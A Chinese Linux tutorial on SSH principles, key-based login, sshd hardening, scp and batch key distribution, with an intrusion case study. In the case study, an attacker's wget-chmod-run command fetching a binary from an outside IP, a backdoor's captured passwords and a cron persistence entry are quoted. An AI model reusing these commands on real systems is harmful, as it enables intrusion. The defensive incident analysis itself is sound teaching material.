Linux實戰教學筆記24:SSH鏈接原理及ssh-key

目錄

• 第二十四節 SSH鏈接原理及ssh-key講解
  • 第1章 SSH服務
    • 1.1 ssh介紹
    • 1.2 知識小結
  • 第2章 ssh結構
    • 2.1 SSH加密技術
  • 第3章 ssh服務認證類型
    • 3.1 基於口令的安全驗證：
    • 3.2 基於密鑰的安全驗證：
    • 3.3 更改ssh默認登陸配置
    • 3.4 遠程鏈接ssh服務
    • 3.5 ssh客戶端附帶的遠程拷貝scp命令
  • 第4章 章節重點小結
  • 第5章 企業案例：SSH入侵案例
    • 5.1 如何防止SSH登陸入侵小結：
  • 第6章 IT公司企業級批量分發管理
  • 6.1 SSH的批量分發管理
    • 6.2 需求分析
    • 6.3 經過sshpass+ssh-kengen+ssh-copy-id進行免交互的SSH密鑰批量分發。

第二十四節 SSH鏈接原理及ssh-key講解

標籤（空格分隔）： Linux實戰教學筆記-陳思齊

---本教學筆記是本人學習和工做生涯中的摘記整理而成，此爲初稿（尚有諸多不完善之處），爲原創做品，容許轉載，轉載時請務必以超連接形式標明文章原始出處，做者信息和本聲明。不然將追究法律責任。http://www.cnblogs.com/chensiqiqi/

---

---

第1章 SSH服務

1.1 ssh介紹

• SSH是Secure Shell Protocol的簡寫，由IETF網絡工做小組（Network Working Group）制定：在進行數據傳輸以前，SSH先對聯機數據包經過加密技術進行加密處理，加密後在進行數據傳輸。確保了傳遞的數據安全。
• SSH是專爲遠程登陸會話和其餘網絡服務提供的安全性協議。利用SSH協議能夠有效的防止遠程管理過程當中的信息泄露問題，在當前的生產環境運維工做中，絕大多數企業普通採用SSH協議服務來代替傳統的不安全的遠程聯機服務軟件，如telnet（23端口，非加密的）等。
• 在默認狀態下，SSH服務主要提供兩個服務功能：一個是提供相似telnet遠程聯機服務器的服務，即上面提到的SSH服務；另外一個是相似FTP服務的sftp-server，藉助SSH協議來傳輸數據的，提供更安全的SFTP服務（vsftp.proftp）

特別提醒：SSH客戶端（ssh命令）還包含一個頗有用的遠程安全拷貝命令scp，也是經過ssh協議工做的。

telnet是不安全的遠程鏈接，鏈接內容是明文的；
ssh是加密的遠程鏈接，鏈接內容是加密的。

1.2 知識小結

1）SSH是安全的加密協議，用於遠程鏈接Linux服務器。
2）SSH默認端口是22，安全協議版本SSH2，除了2以外還有SSH1（有漏洞）.
3)SSH服務端主要包含兩個服務功能SSH遠程鏈接和SFTP服務。
4）Linux SSH 客戶端包含ssh遠程鏈接命令，以及遠程拷貝scp命令等。

第2章 ssh結構

SSH服務由服務端軟件OpenSSH（openssl）和客戶端（常見的有SSH），SecureCRT，Putty，xshell組成，SSH服務默認使用22端口提供服務，它有兩個不兼容的SSH協議版本，分別是1.x和2.x

下面咱們看下服務端上的ssh相關軟件。

[root@nfs01 data]# rpm -qa | egrep "openss*"
openssh-server-5.3p1-117.el6.x86_64
libreoffice-opensymbol-fonts-4.3.7.2-2.el6.noarch
openssh-5.3p1-117.el6.x86_64
openssh-clients-5.3p1-117.el6.x86_64
openssl-1.0.1e-48.el6.x86_64
openssh-askpass-5.3p1-117.el6.x86_64

• OpenSSH同時支持SSH1.x和2.x。用SSH 2.x的客戶端程序不能鏈接到SSH 1.x的服務程序上。
• SSH服務端是一個守護進程（daemon），它在後臺運行並響應來自客戶端的鏈接請求。SSH服務端的進程名爲sshd，負責實時監聽遠程SSH客戶端的鏈接請求，並進行處理，通常包括公共密鑰認證，密鑰交換，對稱密鑰加密和非安全鏈接等。這個SSH服務就是咱們前面基礎系統優化中保留開機自啓動的服務之一。
• ssh客戶端包含ssh以及像scp（遠程拷貝），slogin（遠程登陸），sftp（安全FTP文件傳輸）等應用程序。
• ssh的工做機制大體是本地的ssh客戶端先發送一個鏈接請求到遠程的ssh服務端，服務端檢查鏈接的客戶端發送的數據包和IP地址，若是確認合法，就會發送密鑰發回給服務端，自此鏈接創建。

2.1 SSH加密技術

OpenSSH是SSH服務端的軟件之一，可同時支持SSH1和SSH2協議，能夠在配置文件中使用Protocol指令指定只支持其中一種或兩種都支持。
SSH2同時支持RSA和DSA密鑰，可是SSH1僅支持RSA密鑰。

SSH 1.x的加密鏈接過程：
1）當SSH服務啓動時，就會產生一個768bit的臨時公鑰（sshd_config配置文件中 ServerKeyBits 768）存放在Server中。

[root@nfs01 data]# grep ServerKey /etc/ssh/sshd_config 
#ServerKeyBits 1024

2）當Client端SSH聯機請求傳送過來時，Server就會將這個768-bit的公鑰傳給Client端，此時Client會將此公鑰與先前存儲的公鑰進行對比，看是否一致。判斷標準是Client端聯機用戶目錄下~/.ssh/known_hosts文件的內容.

[root@nfs01 data]# ssh root@backup
The authenticity of host 'backup (172.16.1.41)' can't be established.
RSA key fingerprint is e4:20:6b:ec:b8:16:09:e5:00:5c:52:95:9f:a5:4a:06.
Are you sure you want to continue connecting (yes/no)?

3)當客戶端發完之後，Server與Client端在此次的聯機中，就以這一對1024-bit的Key pair來進行數據的傳遞。

SSH 2.x的加密鏈接過程

• 在SSH 1.x的聯機過程當中，當Server接受Client端的Private Key後，就再也不針對該次聯機的Key pair進行檢驗。此時如有惡意黑客針對該聯機的Key pair對插入惡意的程序代碼時，因爲服務端你不會再檢驗聯機的正確性，所以可能會接收該程序代碼，從而形成系統被黑掉的問題。
• 爲了改正這個缺點，SSH version 2 多加了一個確認聯機正確性的Diffie-Hellman機制，在每次數據傳輸中，Server都會以該機制檢查數據的來源是否正確，這樣，能夠避免聯機過程當中被插入惡意程序代碼的問題。也就是說，SSH version 2 是比較安全的。
• 因爲SSH1協議自己存在較大安全問題，所以，建議你們儘可能都用SSH2的聯機模式。而聯機版本的設置則須要在SSH主機端與客戶端均設置好才行。

第3章 ssh服務認證類型

從SSH客戶端來看，SSH服務主要提供兩種級別的安全驗證，具體級別以下：

3.1 基於口令的安全驗證：

基於口令的安全驗證的方式就是你們如今一直在用的，只要知道服務器的SSH鏈接帳號和口令（固然也要知道對應服務器的IP及開放的SSH端口，默認爲22），就能夠經過ssh客戶端登陸到這臺遠程主機。此時，聯機過程當中全部傳輸的數據都是加密的。

[root@nfs01 data]# ssh -p 22 root@backup
root@backup's password:   #要求輸入登陸密碼
Last login: Sat Mar 11 14:00:15 2017 from nfs01
[root@backup ~]#

3.2 基於密鑰的安全驗證：

• 基於密鑰的安全驗證方式是指，須要依靠密鑰，也就是必須事先創建一對密鑰對，而後把公用密鑰（Public key）放在須要訪問的目標服務器上，另外，還須要把私有密鑰（Private key）放到SSH的客戶端或對應的客戶端服務器上。
• 此時，若是要想鏈接到這個帶有公用密鑰的SSH服務器，客戶端SSH軟件或客戶端服務器就會向SSH服務器發出請求，請求用聯機的用戶密鑰進行安全驗證。SSH服務器收到請求以後，會先在該SSH服務器上鍊接的用戶的家目錄下尋找事先放上去的對應用戶的公用密鑰，而後把它和鏈接的SSH客戶端發送過來的公用密鑰進行比較。若是兩個密鑰一致，SSH服務器就用公用密鑰加密「質詢」並把它發送給SSH客戶端。
• SSH客戶端收到「質詢」以後就能夠用本身的私鑰解密，再把它發送給SSH服務器。使用這種方式，須要知道聯機用戶的密鑰文件。與第一種基於口令驗證的方式相比，第二種方式不須要在網絡上傳送口令密碼，因此安全性更高了，這時咱們也要注意保護咱們的密鑰文件，特別是私鑰文件，一旦被黑客獲取，危險就很大了。
• 基於密鑰的安全認證也有windows客戶端和linux客戶端的區別。在這裏咱們主要介紹的是linux客戶端和linux服務端之間的密鑰認證。

3.2.1 客戶端建立密鑰

[root@m01 ~]# ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):    #這是讓你輸入文件名
Enter passphrase (empty for no passphrase):   #這裏讓你輸入密鑰對的驗證密碼（和linux角色密碼沒有關係）
Enter same passphrase again:      #讓你再次輸入密碼
Your identification has been saved in 
Your public key has been saved in 
The key fingerprint is:
53:76:60:0d:93:2d:12:e2:8e:fa:a0:b0:08:4a:cd:6d root@m01
The key's randomart image is:
+--[ RSA 2048]----+
|      . ..==     |
|     . ...ooo    |
|      .  .o..    |
|     o   o .     |
|    . . S        |
|  o..    .       |
|o.oo E           |
|*o o.            |
|=   .            |
+-----------------+
[root@m01 ~]# ls .ssh/
authorized_keys  id_rsa  id_rsa.pub  known_hosts


#命令說明：
1）建立密鑰對時，要你輸入的密碼，爲進行密鑰對驗證時輸入的密碼（和linux角色登陸的密碼徹底沒有關係）；
2）若是咱們要進行的是SSH免密碼鏈接，那麼這裏密碼爲空跳過便可。
3）若是在這裏你輸入了密碼，那麼進行SSH密鑰對匹配鏈接的時候，就須要輸入這個密碼了。（此密碼爲獨立密碼）
4）用戶家目錄下的.ssh隱藏目錄下會生成：id_rsa  id_rsa.pub  兩個文件。id_rsa是用戶的私鑰；id_rsa.pub則是公鑰

3.2.2 將公鑰id_rsa.pub文件複製到另一臺服務器的用戶家目錄下的.ssh目錄下

[root@m01 ~]# ls .ssh/
authorized_keys  id_rsa  id_rsa.pub  known_hosts
[root@m01 ~]# scp ~/.ssh/id_rsa.pub root@172.16.1.31:~/.ssh/
The authenticity of host '172.16.1.31 (172.16.1.31)' can't be established.
RSA key fingerprint is e4:20:6b:ec:b8:16:09:e5:00:5c:52:95:9f:a5:4a:06.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.16.1.31' (RSA) to the list of known hosts.
root@172.16.1.31's password: 
id_rsa.pub                                    100%  390     0.4KB/s   00:00  

提示：
～表明用戶的家目錄路徑

3.2.3 將拷貝過去的id_rsa.pub文件裏的內容追加到～/.ssh/authorized_keys文件裏

[root@nfs01 data]# ls ~/.ssh/
authorized_keys  id_rsa.pub  known_hosts
[root@nfs01 data]# cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys

3.2.4 此時咱們回到第一臺服務器進行遠程SSH鏈接

[root@m01 ~]# ssh root@172.16.1.31
Last login: Mon Mar 13 10:45:00 2017 from 172.16.1.1
[root@nfs01 ~]#    #無密碼登陸成功

3.2.5 SSH基於密鑰的安全認證總結

1）若是咱們要進行免密碼的SSH鏈接，那麼在建立密鑰對的時候不輸入任何密碼就能夠了。
2）SSH基於密鑰的安全認證的本質其實就是將密鑰對中的公鑰裏的內容拷貝到對方服務器的用戶家目錄下的.ssh目錄裏的authorized_keys文件裏。
3）你想要和對方服務器的哪一個用戶進行密鑰對認證，那麼你就要把公鑰拷到對方該用戶的家目錄下的.ssh目錄裏的authorized_keys文件裏（若是是想和普通用戶進行密鑰對登陸，須要拷貝到/home目錄下的該用戶家目錄下。）
4）ssh-keygen -t參數能夠指定密鑰對的加密類型。若是不指定默認rsa加密

3.2.6 非交互式一條命令建立密鑰對

[root@m01 ~]# ssh-keygen -t dsa -f ~/.ssh/id_dsa -P ""
Generating public/private dsa key pair.
Your identification has been saved in /root/.ssh/id_dsa.
Your public key has been saved in /root/.ssh/id_dsa.pub.
The key fingerprint is:
5c:02:af:64:9b:83:28:a8:25:ef:57:63:d9:65:b9:6a root@m01
The key's randomart image is:
+--[ DSA 1024]----+
|      .          |
|       o         |
|      o o ..     |
|.  . + = o+      |
|+ o . =oSo .     |
|.=    =.. .      |
|. .  o . .       |
| .  .   E        |
|  ..   .         |
+-----------------+
[root@m01 ~]# ll ~/.ssh/
總用量 24
-rw-------. 1 root root  400 3月  13 14:48 authorized_keys
-rw-------. 1 root root  668 3月  13 17:31 id_dsa
-rw-r--r--. 1 root root  598 3月  13 17:31 id_dsa.pub
-rw-r--r--. 1 root root  786 3月  13 15:26 known_hosts
[root@m01 ~]# 

命令說明：
ssh-keygen:建立密鑰對命令
-t：指定加密類型（rsa，dsa）
-f：指定密鑰對文件的名字
-P（大寫）：指定密碼

3.2.7 經過ssh-copy-id進行公鑰的自動分發。

[root@m01 ~]# ssh root@backup
root@backup's password:     #須要輸入密碼
Last login: Sat Mar 11 15:27:22 2017 from 172.16.1.1
[root@m01 ~]# ls ~/.ssh/    #查看一下本地密鑰對
authorized_keys  id_rsa  id_rsa.pub  known_hosts
[root@m01 ~]# ssh-copy-id -i ~/.ssh/id_rsa.pub root@172.16.1.41 #將本地公鑰拷貝到172.16.1.41服務器的root目錄下
The authenticity of host '172.16.1.41 (172.16.1.41)' can't be established.
RSA key fingerprint is e4:20:6b:ec:b8:16:09:e5:00:5c:52:95:9f:a5:4a:06.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.16.1.41' (RSA) to the list of known hosts.
root@172.16.1.41's password: 
Now try logging into the machine, with "ssh 'root@172.16.1.41'", and check in:

  .ssh/authorized_keys

to make sure we haven't added extra keys that you weren't expecting.

[root@m01 ~]# ssh root@172.16.1.41   #進行免密碼ssh登陸測試
Last login: Sat Mar 11 15:27:44 2017 from nfs01
[root@backup ~]#

3.3 更改ssh默認登陸配置

修改SSH服務的運行參數，是經過修改配置文件/etc/ssh/sshd.config文件來實現的。
通常來講SSH服務使用默認的配置已經可以很好的工做了，若是對安全要求不高，僅僅提供SSH服務的狀況，能夠不須要修改任何配置。

[root@backup ~]# awk '/^#Port/ || /#PermitRoot/||/PermitEmpty/||/UseDNS/||/^GSSAPIAuthentication/{print NR,$0}' /etc/ssh/sshd_config 
13 #Port 22     #ssh鏈接默認端口22
15 #ListenAddress 0.0.0.0   #設置sshd服務監聽的客戶端IP地址範圍
42 #PermitRootLogin yes   # 是否容許root用戶遠程登陸
65 #PermitEmptyPasswords no  #是否容許空密碼
81 GSSAPIAuthentication yes  #
122 #UseDNS yes    #是否使用DNS

提示：
1）#號表明註釋，去掉#此條命令纔算被啓用
2）一旦修改了Port，那麼ssh登陸時就須要-p指定端口號，否則會登陸失敗，ssh默認登陸22端口
3）一旦修改了ListenAddress，監聽地址，那麼再也不地址範圍內的全部客戶端將沒法遠程鏈接服務器。
4）一旦 PermitRootLogin no 被啓用，那麼root帳戶將不可以進行ssh遠程登陸。
5）一旦啓用了PermitEmptyPasswords yes，那麼全部無密碼的用戶也就能夠遠程登陸了，而且仍是免密碼的方式。
6）UseDNS no ：建議用no，不須要對DNS進行反向解析，能夠加快ssh鏈接速度。
7）修改配置文件後，須要重啓sshd服務才能生效

3.4 遠程鏈接ssh服務

3.4.1 Linux客戶端經過ssh鏈接

ssh基本語法使用

SSH -p22 chensiqi@10.0.0.150 [命令]

#SSh鏈接遠程主機命令的基本語法：
# -p（小寫） 接端口，默認22端口時可省略-p22
# 「@」：前邊爲用戶名，若是用當前用戶鏈接，能夠不指定用戶名
# 「@」：後面爲要鏈接的服務器的IP

1，直接登陸遠程主機的方法：

在未禁止root遠程登陸及更改SSH端口前的登陸方法爲：
[root@nfs01 ~]# ssh -p22 root@10.0.0.141

若是端口已修改成特殊端口，那麼用上面的命令鏈接就會發生問題：

[root@nfs01 ~]# ssh -p22 root@10.0.0.142
ssh:connect to host 10.0.0.142 port 22:Connection refused  #提示拒絕鏈接

報錯字符串對應的可能問題：
1，no route to host 可能爲防火牆影響
2，Connection refused可能爲防火牆
Connection refused 還多是鏈接的對端服務沒開或者端口改變了。

3.4.2 SSH客戶端命令小結

1，切換到別的機器上ssh -p52113 user@ip（[user@]hostname[command]）

2,到其餘機器執行命令（不會切到機器上）ssh -p 52113 user@ip 命令（全路徑）

3，當第一次SSH鏈接的時候，本地會產生一個密鑰文件～/.ssh/known_hosts（多個密鑰）

3.5 ssh客戶端附帶的遠程拷貝scp命令

scp基本語法：scp -secure copy
每次都是全量拷貝，增量拷貝用rsync

推：PUSH
scp -P22 -r -p /tmp/chensiqi root@172.16.1.41:/tmp
拉：PULL
scp -P22 -rp root@172.16.1.41:/tmp/chensiqi /opt/

scp爲遠程拷貝文件或目錄的命令

-P(大寫)：接端口，默認22
-r：遞歸，表示拷貝目錄
-p：表示在拷貝先後保持文件或目錄屬性
-l limit：限制速度

scp知識小結
1，scp是加密的遠程拷貝，而cp僅爲本地拷貝
2，能夠把數據從一臺機器推送到另外一臺機器，也能夠從其餘服務器把數據拉回到本地執行命令的服務器
3，每次都是全量完整拷貝，所以，效率不高，適合第一次拷貝用，若是須要增量拷貝，用rsync

第4章 章節重點小結

1，ssh爲加密的遠程鏈接協議。相關軟件有openssh，openssl
2，默認端口22
3，協議版本1.x和2.x，2.x更安全。瞭解SSH協議原理
4，ssh客戶端包含ssh，scp，sftp命令
5，ssh安全驗證方式：口令和密鑰，這兩種都是基於口令的，SSH密鑰登陸的原理。
6，ssh服務安全優化，修改默認端口22，禁止root遠程鏈接，禁止dns，SSH只監聽內網IP
7，ssh密鑰對，公鑰在服務器端，好比就是鎖頭，私鑰在客戶端。

第5章 企業案例：SSH入侵案例

一般服務器安全問題在規模較小的公司經常被忽略，沒有負責安全的專員，尤爲是遊戲行業，由於其廣泛架構決定了遊戲服一般都是內網進行數據交互，通常端口不對外開放，也所以對安全問題不過於重視。接下來要說的，是一次真實的SSH入侵實例，因爲運維人員的經驗缺少以及安全意識的薄弱，從而沒有及時對已被侵入的服務器作隔離處理，致使擴散到較多的服務器。

一，事件回顧

此次的服務器被入侵是一個典型的弱密碼致使的入侵事件，因爲某人員的疏忽，在某臺服務器上新建了test用戶，且使用同名的弱密碼，以便於調試工做所需的腳本工具，就在當天在作腳本調試的時候發現了某些異常的錯誤，使用root用戶沒法ssh遠程登錄其餘服務器，同時scp命令出現異常沒法使用，但其餘服務器可使用scp將文件拷貝到該服務器，以後將問題反饋給運維人員，由咱們運維進行排查。

二，排查過程

收到問題反饋，主要涉及ssh相關的問題後，咱們運維對該服務器進行排查，發現使用ssh -v中的openssl版本沒法顯示，且輸出的幫助信息與其餘服務器不一致，而後查看ssh配置，發現配置文件（ssh_config和sshd_config）文件已更新，其內容被所有註釋，這時尚未意識到被入侵，悲哀+1，起初覺得同事對該服務器作了升級了ssh版本，後來確認無升級之類的操做。

• [x] (1):查看ssh版本及相關信息，openssl的版本顯示異常，與其餘服務器對比，幫助信息顯示方式有多不一樣

正常服務器的ssh -v

[root@backup ~]# ssh -v
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013
usage: ssh [-1246AaCfgKkMNnqsTtVvXxYy] [-b bind_address] [-c cipher_spec]
           [-D [bind_address:]port] [-e escape_char] [-F configfile]
           [-I pkcs11] [-i identity_file]
           [-L [bind_address:]port:host:hostport]
           [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]
           [-R [bind_address:]port:host:hostport] [-S ctl_path]
           [-W host:port] [-w local_tun[:remote_tun]]
           [user@]hostname [command]

有問題服務器的ssh -v

• [x] (2):查看ssh進程及其相關文件，ssh和sshd進程文件已更新，ssh_config和sshd_config配置文件已更新，配置文件內容所有註釋，ssh_host_key和ssh_host_key.pub爲新增文件，其餘服務器沒有這兩個文件。

• [x] (3):繼續排查，將一臺正確的配置文件覆蓋至該服務器，重啓ssh服務後，使用ssh命令發現沒法識別該配置文件中的參數（到這裏其實應該發現ssh進程文件已被篡改，使用md5sum作比對便可）

• [x] (4)：因爲其餘工做事務須要及時處理，排查這個事情就被擱置了，直至以後的YY討論問題拿出來詢問了下大神，才意識到有被入侵的可能

• [x] (5):詢問操做過該服務器的同事，此前正在調試腳本工具，新增了test用戶，得知其密碼爲test

• [x] (6):進行深刻排查，使用chkrootkit -q查看Linux系統是否存在後門，發現有異常。協同以前操做test用戶的同事，查找history命令記錄，發現一條可疑命令

$ su - test
$ history
    50 wget http://71.39.255.125/~ake/perf;chmod +x perf; ./perf #非同事操做的可疑命令
$ w  #而且沒法查看當前的登陸用戶
$ cat /usr/include/netda.h  #找到一個用戶登陸就記錄其密碼的文件
+user: bin +password:worlddomination
+user: test +password:TF4eygu4@#$ds

• [x] (7):在另一臺服務器上，發現某帳號家目錄下有個dead.letter文件，用於將獲取到的信息（系統信息，IP地址，帳號密碼等）發送至指定的郵箱

• [x] (8)：又在另一臺服務器上部署了一套可疑的程序，估計是做爲肉雞功能

$ sudo crontab -e
$ * * * * * /usr/include/statistics/update > /dev/null 2>&1
#原有的cron任務已被清空，僅有該條可疑任務

• [x] (9)：找到/usr/include/statistics爲主程序的目錄，其中update爲主程序，經過autorun腳本進行部署，執行crond假裝成crond服務，使原crond服務隱藏且沒法啓動，將cron覆蓋至原有crontab文件來每分鐘執行update二進制程序，mech.pid記錄假裝的crond程序的PID

三，清理工做

• [x] 緊急修復清理

將準備好的正常的ssh相關文件上傳至被入侵服務器的/tmp目錄下

1)查看並修改屬性

2）恢復ssh和sshd

3)刪除多餘的文件以及恢復crond

• [x] 後續安全工做

1）修改全部涉及的服務器的帳戶密碼，以後其餘使用同類密碼的服務器也需改掉

2）配置防火牆策略，只容許公司外網IP可ssh訪問服務器

3）對於被入侵過的服務器系統後期逐步重作系統，避免存在未清理的後門

四，總結

這次的遭受攻擊，問題主要是運維安全意識較差，以及防火牆策略比較鬆散，爲了便於遠程工做，像ssh端口未作限制，服務器幾乎是裸奔的狀態。通過此番折騰，也對服務器安全方面作了一次警示，需增強防護工做，同時也瞭解到典型的ssh後門功能：其一是超級密碼隱身登錄；其二是記錄登錄的帳號密碼。後續還需制定一系列入侵檢測機制，以防再次出現入侵事故。

5.1 如何防止SSH登陸入侵小結：

1，用密鑰登陸，不用密碼登陸
2，防火牆封閉SSH，指定源IP限制（局域網，信任公網）
3，開啓SSH只監聽本地內網IP（ListenAddress10.0.0.8）。
4，儘可能不給服務器外網IP

第6章 IT公司企業級批量分發管理

1，中小企業最基本實用的SSH HEY密鑰的方案（key+expect，腳本+sudo，ssh key（密鑰認證）+ ansible）

2，門戶網站PUPPET（複雜，過重）
3，趕集，小米，SALTSTACK批量管理（輕量）

6.1 SSH的批量分發管理

操做系統

[root@m01 ~]# cat /etc/redhat-release 
CentOS release 6.8 (Final)
[root@m01 ~]# uname -r
2.6.32-642.el6.x86_64

主機網絡參數

主機名	網卡eth0	網卡eth1	用途
m01	10.0.0.61	172.16.1.61	中心批發服務器
nfs01	10.0.0.31	172.16.1.31	接收節點服務器
web01	10.0.0.8	172.16.1.8	接收節點服務器
backup	10.0.0.41	172.16.1.41	備份服務器

提示：
若無特殊說明，子網掩碼均爲255.255.255.0，一個C類網段254臺機器規模

6.2 需求分析

要求全部服務器在同一用戶chensiqi系統用戶下，實現A機器從本地分發數據到B，C機器上，發到B，C的過程當中不須要系統提示輸入密碼驗證，固然，除了分發的功能，還能夠批量查看全部客戶機上的CPU，LOAD，MEM，系統版本信息。
即實現從A服務器發佈數據到B，C客戶端服務器以及查看信息的免密碼登陸驗證解決方案：分發數據流方向以下：

A ---->B
A ---->C
A ---->D

具體過程就參考項目實戰，這裏只介紹分發一臺服務器的方法。

6.3 經過sshpass+ssh-kengen+ssh-copy-id進行免交互的SSH密鑰批量分發。

sshpass的安裝須要aliyun的epel.repo源
wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-6.repo
yum -y install sshpass

6.3.1 嘗試進行免交戶的ssh鏈接

咱們已經學會面交戶生成密鑰對了；
經過sshpass咱們還能夠進行免交互的登陸遠程主機；
可是要想進行批量分發，咱們還須要解決一個問題，那就是當第一次進行ssh登陸時，都會出現以下信息

[root@m01 ~]# ssh root@nfs01
The authenticity of host 'nfs01 (172.16.1.31)' can't be established.
RSA key fingerprint is e4:20:6b:ec:b8:16:09:e5:00:5c:52:95:9f:a5:4a:06.
Are you sure you want to continue connecting (yes/no)? 

說明；
第一次進行遠程登陸，ssh會試圖把遠程主機的IP信息存儲到～/.known_hosts文件裏，因此，會問你yes或no。

yes和no也是交互輸入信息的方式，這個咱們怎麼解決呢？

[root@m01 ~]# ssh -o StrictHostKeyChecking=no root@nfs01    #加入-o那個參數便可解決
Warning: Permanently added 'nfs01,172.16.1.31' (RSA) to the list of known hosts.
root@nfs01's password:

接下來咱們能夠進行免交戶的ssh鏈接了。

[root@m01 ~]# sshpass -p 登陸密碼 ssh -o StrictHostKeyChecking=no root@nfs01
Last login: Tue Mar 14 10:48:21 2017 from m01
[root@nfs01 ~]# 

命令說明：
sshpass是免交戶輸入密碼的工具
-p；指定登陸密碼
-f：給出密碼文件路徑

6.3.2 進行密鑰對的免交互式分發。

第一步：生成密鑰對

[root@nfs01 ~]# ssh-keygen -t dsa -P "" -f ~/.ssh/id_dsa
Generating public/private dsa key pair.
Your identification has been saved in /root/.ssh/id_dsa.
Your public key has been saved in /root/.ssh/id_dsa.pub.
The key fingerprint is:
60:55:4f:eb:d4:1b:42:44:06:4e:36:df:3e:eb:32:49 root@nfs01
The key's randomart image is:
+--[ DSA 1024]----+
|        ..*+*    |
|       . + B +   |
|      o   . * +  |
|     . .   o o o |
|        S   . +  |
|            E  o |
|           . ..  |
|            +.   |
|             o.  |
+-----------------+

第二步：免交互分發公鑰

[root@m01 ~]# sshpass -p 密碼 ssh-copy-id -i ~/.ssh/id_dsa.pub "-o StrictHostKeyChecking=no 172.16.1.31"
Now try logging into the machine, with "ssh '-o StrictHostKeyChecking=no 172.16.1.31'", and check in:

  .ssh/authorized_keys

to make sure we haven't added extra keys that you weren't expecting.

命令說明：
sshpass -p 密碼：免交戶輸入密碼
ssh-copy-id -i：指定公鑰文件路徑
-o StrictHostKeyChecking=no：不記錄對方主機信息

第三步：驗證公鑰發送結果

[root@m01 ~]# ssh root@172.16.1.31  #驗證成功
Last login: Tue Mar 14 11:42:28 2017 from m01
[root@nfs01 ~]#